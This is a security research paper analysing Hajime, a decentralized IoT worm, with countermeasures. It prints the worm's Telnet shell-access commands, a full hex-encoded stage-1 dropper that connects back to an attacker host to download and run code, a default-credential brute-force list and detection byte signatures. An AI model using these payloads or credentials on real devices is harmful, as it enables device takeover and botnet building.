Hajime: Analysis of a decentralized internet worm for IoT devices

Sam Edwards

Ioannis Profetis

Rapidity Networks

Security Research Group

Oct. 16, 2016

Abstract

This paper chronicles the discovery and analysis of a malicious internet worm, dubbed *Hajime*, which targets embedded/Internet of Things ("IoT") devices and spreads by scanning the public internet for devices running Telnet servers with insecure default credentials. Though worms which target IoT devices are not new, they are rising in prominence lately due to the generally weak security such devices have. What makes *Hajime* unique is that it does not rely on centralized malware distribution server(s), but instead communicates over a distributed/decentralized overlay network to receive configuration and software updates.

Background

On Sep. 30, 2016, the source code for *Mirai*, a prolific internet worm/botnet targeting embedded/IoT Linux devices, was released on the website hackforums.com by its author, an individual pseudonomously known only as *Anna-senpai*.[1] Because *Anni-senpai* had claimed that *Mirai* had infected over 380,000 devices, and that the malware had been responsible for a record 620 Gbps distributed denial-of-service ("DDoS") attack, the computer security community very quickly took interest in examining the source code and understanding *Mirai*'s operation.

The Security Research Group (SRG) at Rapidity Networks, Inc. also took an interest in understanding the *Mirai* worm, and after completing its initial examination of the released source code, set out to capture a sample in the wild. To do this, the SRG deployed a network of medium-interaction honeypots–computer systems intended to attract malicious activity for information-gathering purposes–configured to mimic a vulnerable IoT device of the sort *Mirai* infects, in the hopes that a live *Mirai* node would soon discover the honeypot system and attempt to conscript it.

On Oct. 5, 2016, a node within the honeypot network reported internet activity that very closely resembled the reconnaissance and infection behaviors of *Mirai*. However, upon closer analysis, the SRG discovered that the sample it had captured was not *Mirai*, but rather something considerably more sophisticated. The SRG conducted online searches in an attempt to identify its unknown specimen, but could not find any indication that this particular worm had yet been discovered by the broader security community.

Because this worm very closely mimics the discovery and attack phases of *Mirai*, a worm named for the Japanese word for "future," the SRG researchers affectionately gave this sample the moniker of *Hajime*–Japanese for "beginning."

[1] Brian Krebs, "Source Code for IoT Botnet 'Mirai' Released," https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/

Analysis

Like many internet worms, the *Hajime* malware has a lifecycle. A *Hajime* infection begins when a node already in the *Hajime* network–scanning random IPv4 addresses on the public internet–discovers a device which accepts connections on TCP port 23, the designated port for the Telnet service. The attacking *Hajime* node attempts several username and password combinations from its hardcoded list of credentials and, upon being granted entry, examines the target system and begins its infection in stages. The first stage is a small, short-lived file-transfer program which connects back to the attacking node and copies down a much larger download program. The download program–the second stage–joins a peer-to-peer decentralized network and retrieves its configuration and a scanning program. The scanning program searches the public internet for more vulnerable systems to infect, thus continuing the lifecycle.

Stage 0: Reconnaissance and infection phase

This stage occurs completely over the initial Telnet session and does not actually involve an uploaded binary. As such, we have opted to call this “stage 0,” because while it is important in establishing a foothold in a vulnerable device, there is no actual malware present on the device yet. All logic for stage 0 is actually implemented in the attacking node.

An attacking node scans the IPv4 address space at random. It repeatedly generates random IPv4 addresses, attempts to connect to them on port 23, and attempts to log in by sequentially going through a table of username/password credential pairs.

After each pair of credentials, *Hajime* waits for a response from the target device. If the credentials are rejected, *Hajime* closes the current connection, reconnects, and tries the next pair. While many of these credential pairs can be found in *Mirai* (i.e. their hardcoded credentials lists are similar), they differ in their login behavior: *Hajime* follows its credentials list sequentially, while *Mirai* makes login attempts in a weighted random order.

Once a successful username/password combination is found, *Hajime* attempts to get access to a Linux shell by sending the following 5 lines:

```
enable
system
shell
sh
/bin/busybox ECCHI
```

The first 4 lines are sent in a blind attempt to navigate whatever vendor-specific command-line interface (CLI) the Telnet server implements. `enable` is a common CLI command to allow access

to privileged-mode commands. `system` attempts to navigate to a menu of system-management options. `shell` and `sh` attempt to run a Bourne shell. If any command fails, it will fail

The purpose of the final `/bin/busybox ECCHI` line is to test that a Linux shell has actually been started. A proprietary CLI is likely to reject the command, but a legitimate Linux shell would execute Busybox, which will reject the argument with `ECCHI: applet not found`, letting *Hajime* know that it has a bona fide Linux shell.

Compare this behavior to *Mirai*, which uses the same command sequence after connecting–less the “system” command–to access and verify a shell. Of particular note is the choice of `/bin/busybox ECCHI` to verify the shell. While it’s not uncommon for automated attack software to send a “dummy” command to test successful access, the irregularity of this test sequence suggests some relationship between the *Mirai* and *Hajime* worms.

Once *Hajime* has confirmed its access to the target device’s shell, it begins analyzing the target device. First, it checks the system mounts for a writeable location in the target filesystem:

```
# cat /proc/mounts; /bin/busybox ECCHI
```

Note the repeat of the venerable `/bin/busybox ECCHI` command, which serves a purpose not dissimilar to its use before: *Hajime* and *Mirai* both use the `ECCHI: applet not found` signature to find the end of the command line’s output.

Hajime picks the first writeable path that is not /proc, /sys, or / and uses that as its working path. In this instance, *Hajime* has chosen /var:

```
# cd /var; cat .s || cp /bin/echo .s; /bin/busybox ECCHI
# /bin/busybox chmod 777 .s; /bin/busybox ECCHI
# cat .s; /bin/busybox ECCHI
# /bin/busybox ECCHI;
```

This sequence serves multiple purposes. First, it tests if there’s already a stage1 binary present. Second, it tests that the chosen working directory really is writeable. Finally, it retrieves the /bin/echo binary so that *Hajime* can inspect its header to determine the target’s processor architecture. Once the target processor is determined, Hajime uploads and executes the stage1 binary:

```
# echo -ne
"\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x28\x00\x01\x00\x00\
x00\x54\x00\x01\x00\x34\x00\x00\x00\x44\x01\x00\x00\x00\x02\x00\x05\x34\x00\x20\x00\x01\x00\x2
8\x00\x04\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00" > .s; /bin/busybox
ECCHI
# echo -ne
"\x00\x00\x01\x00\xf8\x00\x00\x00\xf8\x00\x00\x00\x05\x00\x00\x00\x00\x00\x01\x00\x02\x00\xa0\
xe3\x01\x10\xa0\xe3\x06\x20\xa0\xe3\x07\x00\x2d\xe9\x01\x00\xa0\xe3\x0d\x10\xa0\xe1\x66\x00\x9
0\xef\x0c\xd0\x8d\xe2\x00\x60\xa0\xe1\x70\x10\x8f\xe2\x10\x20\xa0\xe3" >> .s; /bin/busybox
ECCHI
# echo -ne
"\x07\x00\x2d\xe9\x03\x00\xa0\xe3\x0d\x10\xa0\xe1\x66\x00\x90\xef\x14\xd0\x8d\xe2\x4f\x4f\x4d\
xe2\x05\x50\x45\xe0\x06\x00\xa0\xe1\x04\x10\xa0\xe1\x4b\x2f\xa0\xe3\x01\x3c\xa0\xe3\x0f\x00\x2
d\xe9\x0a\x00\xa0\xe3\x0d\x10\xa0\xe1\x66\x00\x90\xef\x10\xd0\x8d\xe2" >> .s; /bin/busybox
ECCHI
# echo -ne
"\x00\x50\x85\xe0\x00\x00\x50\xe3\x04\x00\x00\xda\x00\x20\xa0\xe1\x01\x00\xa0\xe3\x04\x10\xa0\
xe1\x04\x00\x90\xef\xee\xff\xff\xea\x4f\xdf\x8d\xe2\x00\x00\x40\xe0\x01\x70\xa0\xe3\x00\x00\x0
0\xef\x02\x00\x12\x1c\xc6\x33\x64\x7b\x41\x2a\x00\x00\x00\x61\x65\x61" >> .s; /bin/busybox
ECCHI
# echo -ne
"\x62\x69\x00\x01\x20\x00\x00\x00\x05\x43\x6f\x72\x74\x65\x78\x2d\x41\x35\x00\x06\x0a\x07\x41\
x08\x01\x09\x02\x0a\x03\x0c\x01\x2a\x01\x44\x01\x00\x2e\x73\x68\x73\x74\x72\x74\x61\x62\x00\x2
e\x74\x65\x78\x74\x00\x2e\x41\x52\x4d\x2e\x61\x74\x74\x72\x69\x62\x75" >> .s; /bin/busybox
ECCHI
# echo -ne
"\x74\x65\x73\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x0
0\x00\x01\x00\x00\x00\x06\x00\x00\x00\x54\x00\x01\x00\x54\x00\x00\x00" >> .s; /bin/busybox
ECCHI
# echo -ne
"\xa4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\
x00\x03\x00\x00\x70\x00\x00\x00\x00\x00\x00\x00\x00\xf8\x00\x00\x00\x2b\x00\x00\x00\x00\x00\x0
0\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00" >> .s; /bin/busybox
ECCHI
# echo -ne
"\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x23\x01\x00\x00\x21\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" >> .s; /bin/busybox ECCHI
# cp .s .i; >.i; ./.s>.i; ./.i; rm .s; /bin/busybox ECCHI
```

Stage 1: Downloader stub

The above binary is a 484-byte ELF program. The intuitive thing, of course, is to run this through a disassembler:

```
.text:00010054                AREA .text, CODE
.text:00010054                ; ORG 0x10054
.text:00010054                CODE32
.text:00010054                MOV             R0, #2
.text:00010058                MOV             R1, #1
.text:0001005C                MOV             R2, #6
.text:00010060                STMFD           SP!, {R0-R2}
.text:00010064                MOV             R0, #1
.text:00010068                MOV             R1, SP
.text:0001006C                SVC             0x900066 ; socketcall (socket)
.text:00010070                ADD             SP, SP, #0xC
.text:00010074                MOV             R6, R0
.text:00010078                ADR             R1, sa_server
.text:0001007C                MOV             R2, #0x10
.text:00010080                STMFD           SP!, {R0-R2}
.text:00010084                MOV             R0, #3
.text:00010088                MOV             R1, SP
.text:0001008C                SVC             0x900066 ; socketcall (connect)
.text:00010090                ADD             SP, SP, #0x14
.text:00010094                SUB             R4, SP, #0x13C
.text:00010098                SUB             R5, R5, R5
.text:0001009C
.text:0001009C loc_1009C                              ; CODE XREF: .text:000100DCj
.text:0001009C                MOV             R0, R6
.text:000100A0                MOV             R1, R4
.text:000100A4                MOV             R2, #0x12C
.text:000100A8                MOV             R3, #0x100
.text:000100AC                STMFD           SP!, {R0-R3}
.text:000100B0                MOV             R0, #0xA
.text:000100B4                MOV             R1, SP
.text:000100B8                SVC             0x900066 ; socketcall (recv)
.text:000100BC                ADD             SP, SP, #0x10
.text:000100C0                ADD             R5, R5, R0
.text:000100C4                CMP             R0, #0
.text:000100C8                BLE             loc_100E0
.text:000100CC                MOV             R2, R0
.text:000100D0                MOV             R0, #1  ; stdout
.text:000100D4                MOV             R1, R4
.text:000100D8                SVC             0x900004 ; write
.text:000100DC                B               loc_1009C
.text:000100E0 ; ---------------------------------------------------------------------------
.text:000100E0
.text:000100E0 loc_100E0                              ; CODE XREF: .text:000100C8j
.text:000100E0                ADD             SP, SP, #0x13C
.text:000100E4                SUB             R0, R0, R0
.text:000100E8                MOV             R7, #1
.text:000100EC                SVC             0       ; exit
.text:000100EC ; ---------------------------------------------------------------------------
.text:000100F0 sa_server      DCW 2                   ; DATA XREF: .text:00010078o
.text:000100F0                                        ; AF_INET
.text:000100F2                DCW 0x1C12              ; port 4636
.text:000100F4                DCD 0x7B6433C6          ; address 198.51.100.123
.text:000100F4 ; .text         ends
```

This program serves a very simple purpose: establish a TCP connection back to the attacking host and write all received bytes out to stdout, where it gets piped to the .i file and executed. What's striking about this program is that it's hand-written specifically for this platform. As we will show later, *Hajime* is a multi-platform worm, and creating hand-crafted assembly programs for each supported platform is a task involving significant effort. Clearly, *Hajime*'s author had a lot of time to dedicate toward its creation.

We can see that this is hand-written assembly because of two key indicators. First, the author mixes OABI-style ("SVC 0x900066") and GNUEABI-style ("MOV R7, #1"/"SVC 0") syscalls. This helps reduce the overall code size of the stub, at the expense of not working on kernels compiled without CONFIG_OABI_COMPAT. The second indicator is that the author makes a mistake that no compiler would make: At 0x10090, the author balances the stack incorrectly by adding 0x14 to the stack pointer, even though the instruction at 0x10080 only placed 0xC bytes on the stack. The author does this again at 0x100E0, adding 0x13C back to the stack pointer even though the receive buffer was below, and not on, the stack.

The stub connects to a hardcoded IP address and port, rather than implement command-line parsing logic. This means the *Hajime* attack code needs to know the offset to the embedded sockaddr_in structure, for each of its stubs, for each of its platforms.

Our honeypots do not execute untrusted binary code, so they did not automatically download the stage2 binary. However, our researchers were able to catch and disassemble a fresh stage1 binary fast enough to get the IP:port information from an attacking host before it closed its TCP socket.

Hajime does not verify that connections to its malware distribution port are originating from attacked hosts. This allowed the SRG researchers to connect later and download the stage2 binary at their leisure.

Stage 2: DHT downloader

The stage 2 binary is the second and final stage of the Hajime worm. It is responsible for retrieving and executing any additional payloads retrieved off the P2P network that the malware authors have established. The P2P network is built upon several protocols used in *BitTorrent*.[2]

Hajime uses *BitTorrent*'s DHT protocol[3] for peer discovery and *uTorrent Transport Protocol* (uTP)[4] for data exchange.

The SRG recovered this binary in an encoded form. Further inspection found that it was compressed with a modified version of the *UPX*[5] executable packer. *Hajime*'s author had modified the *UPX* header magic number from its default (`55 50 58 21`/"UPX!") to a custom value (`F5 96 A4 B5`) in an attempt to hinder reverse-engineering efforts. After changing the file's header back, UPX was able to recover the original binary.

Structure

This stage is statically-linked. The SRG quickly identified several of the libraries that the author had chosen for inclusion:

The C library is uClibc.[6] The `getaddrinfo` function in this version of uClibc included a patch to check `/etc/gai.conf`. This behavior is not present in mainline uClibc, but is installed as a patch by several toolchains. This information may prove useful in discovering the identity of the author.

For information exchange, *Hajime* piggybacks on BitTorrent's DHT overlay network. For this, the author linked against a heavily modified variant of the Kademlia implementation found in *KadNode*.[7] To transfer files with its peers, *Hajime* uses the uTP implementation found in *libutp*.[8] *Hajime* downloads files in a custom format which often contain payloads compressed with the LZ4 algorithm, and thus includes the decompression function from the LZ4 project.[9]

Through function call signature fingerprinting and by identifying functions by their logic, SRG researchers managed to successfully map out most of the primary and auxiliary functions for these libraries to better understand how they are used by *Hajime*.

---

[2] http://www.bittorrent.org/
[3] http://www.bittorrent.org/beps/bep_0005.html
[4] http://www.bittorrent.org/beps/bep_0029.html
[5] https://upx.github.io/
[6] https://uclibc.org/
[7] https://github.com/mwarning/KadNode
[8] https://github.com/bittorrent/libutp
[9] https://github.com/lz4/lz4

Initialization

This stage's main routine starts off by invoking the *KadNode* functions `conf_init` and `conf_check`, which are responsible for dynamically allocating and initializing *KadNode*'s primary configuration structure.

It then attempts to make an NTP[10] query to `pool.ntp.org`, caching the result as an offset from the local system timer. If the NTP query fails, the system's current time-of-day clock is used instead. As we will show later, the proper operation of the botnet is dependent on having the correct date, and as some IoT devices may have incorrectly-set clocks, *Hajime* would much rather use the NTP time than the local clock. The current timestamp is also used to seed the PRNG with `srand`.

The binary then takes several steps to disguise its existence on the system. First, it removes itself from the infected device's filesystem using `unlink`. The sample also attempts to mask its presence in the infected device's process list, by using two commonly-known methods to change its process name post-execution: First, it uses the `strcpy` function in order to overwrite the process's `argv[0]` with the string "telnetd". Then, it invokes the `prctl(PR_SET_NAME, argv[0])` syscall. Thus, *Hajime* attempts to mask itself as a common Telnet daemon program.

The initialization sequence also checks for the existence of a file called `.p/.d`, which stores the configuration file passed over from an older version of itself when it automatically updates. If found, this file is used instead of the hardcoded configuration file and deleted.

Finally, control is passed to the modified *KadNode* function `main_start`, which is responsible for initializing the DHT, setting up the primary network handlers, and finally, starting the primary network loop.

[10] http://ntp.org/

Compressed file format

Hajime uses an apparently-custom file format to store its configuration and payload files. The file format is briefly outlined below:

- `0x00-0x1F`: Original filename, zero-terminated, and padded with (apparently) random bytes.
- `0x20`: "Compressed" flag - `0x01` for LZ4 compression, `0x00` for no compression.
- `0x22`: "Type" flag - `0x00` for config files, `0x01` for stage2 updates, `0x02` for executable payloads.
- `0x24-0x27`: Creation timestamp, expressed as a big-endian uint32.
- `0x28-0x2B`: File body size, expressed as a big-endian uint32. This is also the payload size if uncompressed.
- `0x2C-0xAB`: 128 apparently-random bytes of unknown purpose. Possibly a 1024-bit RSA signature, but currently the code does not verify this.
- `0xAC`: If uncompressed, the payload body begins here.
- `0xAC-0xAF`: Decompressed payload size, expressed as a big-endian uint32.
- `0xB0-0xB3`: Compressed payload size, expressed as a big-endian uint32.
- `0xB4`: If compressed, the compressed payload begins here. The compression algorithm is LZ4.

Primary operation logic

After reading the current config file and establishing peer relationships in the DHT, *Hajime* first sets out to retrieve the most up-to-date config file from its peers.

Peer lookups in the BitTorrent DHT require a 160-bit "info_hash" value. BitTorrent uses the SHA1 hash of the Torrent metadata to locate peers participating in the same swarm. *Hajime* does not have Torrent metadata, so its "info_hash" is calculated according to the following algorithm:

1. Get the current date, UTC.
2. Write the date in the format `D-M-Y-W-Z`, where D represents the day of the month, M represents the month (0 for January, 1 for February, …), Y represents the years since 1900, W represents the day of the week (0 for Sunday, 1 for Monday, …), and Z represents the number of days since Jan. 1 of that year.
3. Append another hyphen ('-') to the date, then the hexadecimal representation of the SHA1 hash of the filename.
4. Calculate the SHA1 hash for the full string, yielding the 160-bit "info_hash" for DHT lookups.

So, if *Hajime* were to download a file named “example” on Oct. 1, 2016, it would first write the date as `1-9-116-6-274`, then append `-c3499c2729730a7f807efb8676a92dcb6f8a3f8f`, and finally search the DHT for `5dfd959c78d359272d46afd2e3069b34a9455ffd`.

To download the config file, *Hajime* searches for “config” using the above algorithm. It uses the learned peers list to initiate uTP transfers with each retrieved address, working its way down the list until it discovers a reachable peer with the file. The config file is downloaded and parsed every 10 minutes.

As of this writing, the most recent config file looks like this:

```
[modules]
exp.arm5.1475686338
.i.arm5.1475781691
exp.x64.1476038380
exp.arm7.1476190023
.i.mipsel.1476038376
.i.arm7.1475797474
exp.mipsel.1476249252
[peers]
router.utorrent.com
router.bittorrent.com
```

As evidenced by the modules list, *Hajime* currently has support for the following platforms:

- ARMv5
- ARMv7
- Intel x86-64
- MIPS, little-endian

The final dot (‘.’) after the entries in the modules list separates the filename and the module’s creation timestamp. Both of these fields match their contemporaries in their respective file headers. *Hajime* uses this information to decide whether files in the list are more recent than those in its cache, in turn telling it whether a redownload is necessary.

Hajime downloads every module in the list whose filename indicates a matching platform. Once a download completes, the file is cached to the `.p` directory and its “type” field is checked. A type of 0x01 indicates an update for the stage2 binary itself, which causes the currently-running stage2 binary to write its current config to `.p/.d`, decompress the new binary to `.i`, print the timestamp of the newly-executing payload, and `execv` the new executable.

Any other type indicates a binary which should be executed as a child process of the stage2 program.

uTP protocol

Hajime uses BitTorrent's uTP for direct peer-to-peer communication. For those not familiar, uTP implements reliable, in-order stream transport and flow-control atop UDP–essentially, TCP on UDP. Using uTP instead of native TCP allows *Hajime* to use the same socket/port for both peer-to-peer communication and DHT communication, which both keeps the network footprint small and makes infected devices reachable across NAT due to the hole-punching effect.

Hajime's uTP communications are encrypted with the RC4 stream cipher[11], using a key negotiated via the Curve25519 algorithm[12] for perfect forward secrecy. However, due to an apparent misunderstanding of C's `rand` function, *Hajime* always uses the private key of 2^{254}, the public key `c0 dd 26 97 c4 a1 7d f8 3f 36 a9 97 99 dd 38 49 58 72 84 90 fa c7 d1 31 82 05 2d 88 4e 6e 42 84`, and the RC4 key `31 1e 45 98 e9 54 f4 63 7b 5d f3 51 c6 a4 4d 02 08 98 f9 50 98 f9 5d f4 96 c7 e1 b2 04 04 1f b7`.

Hajime messages use a very basic packet format:

- The payload length, expressed as a 32-bit big endian integer
- The message type, a single byte, 0x00-0x06
- The message's payload

[11] Cipher described in Schneier, B., "Applied Cryptography: Protocols, Algorithms, and Source Code in C", 2nd Edition, 1996.
[12] https://cr.yp.to/ecdh.html

Refer to the following table for a brief explanation of each message type:

#	Action	Payload/description
0	Key exchange	1 byte indicating whether the remote public key has yet been received (00 for false, 01 for true), followed by the node's own 32-byte public key. Once key exchange completes, the RC4 key is calculated and all further communications are RC4-encrypted.
1	Connect	Flag, padding byte, 32-bit IP address, 16-bit port. Initiates a uTP connection with the remote node.
2	File request	Zero-terminated name of the file being requested from the remote node.
3	File content	The contents of the file requested by the above message.
4	Spawn shell	None. Causes *Hajime* to run a shell (/bin/sh) over the connection.
5	Force download	Zero-terminated filename; remote node retrieves this file immediately.
6	Submodule IPC	Unknown payload; connects to a running module over the IPC interface.

Modules for stage 2

At the time of writing, only the “exp” module has been observed in the wild. The purpose of this module is to propagate the Hajime worm to other devices, through the brute-forcing of default telnet credentials for a variety of vulnerable embedded devices. The username/password pairs it attempts to use are as follows (in sequential order):

Credentials table

Username	**Password**
root	xc3511
root	vizxv
root	klv123
root	root
guest	guest
root	admin
admin	admin
admin	password
root	Zte521
admin	<None>
guest	12345
admin	smcadmin

The vast majority of the scanning logic is derived from qBot, also known as the bot used by the Lizard Squad to operate the botnet behind the now-defunct Lizard Stresser service. Of note, qBot excludes 13 prefixes, scanning only about 86% of the public IPv4 address space.

Countermeasures

Network administrators should always be aware of the network services running on their networks. The SRG urges operators to be vigilant in scanning their infrastructure for unknown services, especially Telnet, to ensure that their networks are secure against attacks of this nature. Those wishing to protect their systems and detect *Hajime* infections specifically can do so through any of the following means:

Block UDP packets containing P2P traffic

The recommended way to detect and disrupt *Hajime* is to block any UDP packet containing *Hajime*'s key exchange message–the following byte sequence:

```
00 00 00 21 00 00 c0 dd 26 97 c4 a1 7d f8 3f 36
a9 97 99 dd 38 49 58 72 84 90 fa c7 d1 31 82 05
2d 88 4e 6e 42 84
```

Block TCP connections containing attack traffic

As part of its attack sequence, *Hajime* sends the string `/bin/busybox ECCHI` on port 23 to verify the presence of a shell. As there is no legitimate purpose for this string in a Telnet session, its occurrence within a Telnet stream is a clear indicator of either a *Hajime* or *Mirai* attack.

Block TCP port used by stage 1

The *Hajime* stage 1 always downloads its stage2 over TCP port 4636, so blocking this port can help secure networks from *Hajime*. While the SRG could not find any other application that uses this port, legitimate uses of this port are still possible, and so this countermeasure is recommended only as a last resort.

Speculation

Direct analysis of *Hajime*'s behavior only provides part of the story and still leaves many unanswered questions. In this section, we discuss some possibilities suggested by the evidence the SRG gathered during its analysis.

The purpose of *Hajime*

As the SRG has yet to see any further modules deployed, the purpose of the botnet itself remains a mystery. The SRG hypothesizes that *Hajime* is still in its propagation phase, and the author is focusing their attention on increasing its reach before deploying more advanced payloads.

Malicious actors typically use botnets like these to perpetrate distributed denial of service (DDoS) attacks against internet hosts, flooding them with an overwhelming barrage of traffic until the host goes offline. It is likely that *Hajime*'s author ultimately intends to weaponize *Hajime* in this way and monetize on selling DDoS services to clients. The author could also monetize on a botnet of this scale by using it as a distribution platform for other payloads, selling "deployment services" for future botnets.

As IoT devices tend to be connected to private LANs with other sensitive devices, a large enough mass of compromised IoT devices can see other uses, such as mass-surveillance by eavesdropping on LAN traffic, exfiltration of confidential data, and monetary theft by capturing financial information.

However, none of this precludes the possibility that the sole purpose of *Hajime* could just be to spread, as either a research project or hobby.

The identity of *Hajime*'s author

Because *Hajime* was released anonymously, the true identity of *Hajime*'s author may never be known. However, the techniques and design decisions that went into *Hajime* provide invaluable insight into the skill level and methods employed by its creator.

The SRG concludes that the author of *Hajime* is a group or individual familiar with the C programming language and ARM/MIPS assembly language, comfortable in their understanding of cryptography (with a focus on public-key cryptography and stream ciphers), experienced in network protocol design and implementation, and acquainted with the limitations of low-memory systems.

The author also appears to prefer English, judging by their internal naming conventions and config file format.

Analysis of the file timestamps shows that the author is most active between the hours of 15:00-23:00 UTC, with no activity from 00:00-05:00 UTC. This roughly fits the sleeping pattern of an individual in Europe.

Hajime's creation date

The SRG first observed *Hajime* in the wild on Oct. 5, 2016. However, the sheer amount of attack traffic that the SRG's honeypot network began collecting shortly after coming online indicates an already advanced infection, suggesting that the botnet has been online for quite some time before.

To help provide some insight into *Hajime*'s history, the SRG examined the hardcoded config file contained within the worm itself:

```
[modules]
[peers]
router.utorrent.com
router.bittorrent.com
```

This file is extremely basic and only serves to specify the initial DHT peers. Therefore, it would be a reasonable assumption to say that this file hasn't been updated after *Hajime*'s config and compression formats, as well as the initial DHT peers, were finalized.

The timestamp in this file's header gives a creation timestamp of 1474879314, or Mon, 26 Sep 2016 08:41:54 GMT, which is likely to be the closest to the worm's launch time.

The version of libutp present in the binary dates before the year 2013, which suggests that work began on *Hajime* over 3 years ago.

Relationship to *Mirai*

While both *Hajime* and *Mirai* use an extremely similar attack pattern when spreading to new hosts, the actual scanning and propagation logic appears to have been taken from qBot. If the above launch date estimate is correct, *Hajime* began operation a few days before the release of *Mirai*'s source code, and is unlikely to contain any actual *Mirai* code.

The SRG believes that *Hajime* is attempting to masquerade itself as *Mirai*, in the hopes that security professionals and network administrators noticing the attack traffic will dismiss it as an attack by *Mirai* and not a distinct worm altogether.

Scope of *Hajime*

On average, each node in the SRG's honeypot network receives about 70-100 *Hajime* attacks per day. Because *Hajime* only scans 86% of the IPv4 address space, we can equate this to about 260-370 billion attempts per day overall. Assuming each device is capable of no more than 2 million attempts per day puts the infection count at 130,000-185,000 devices.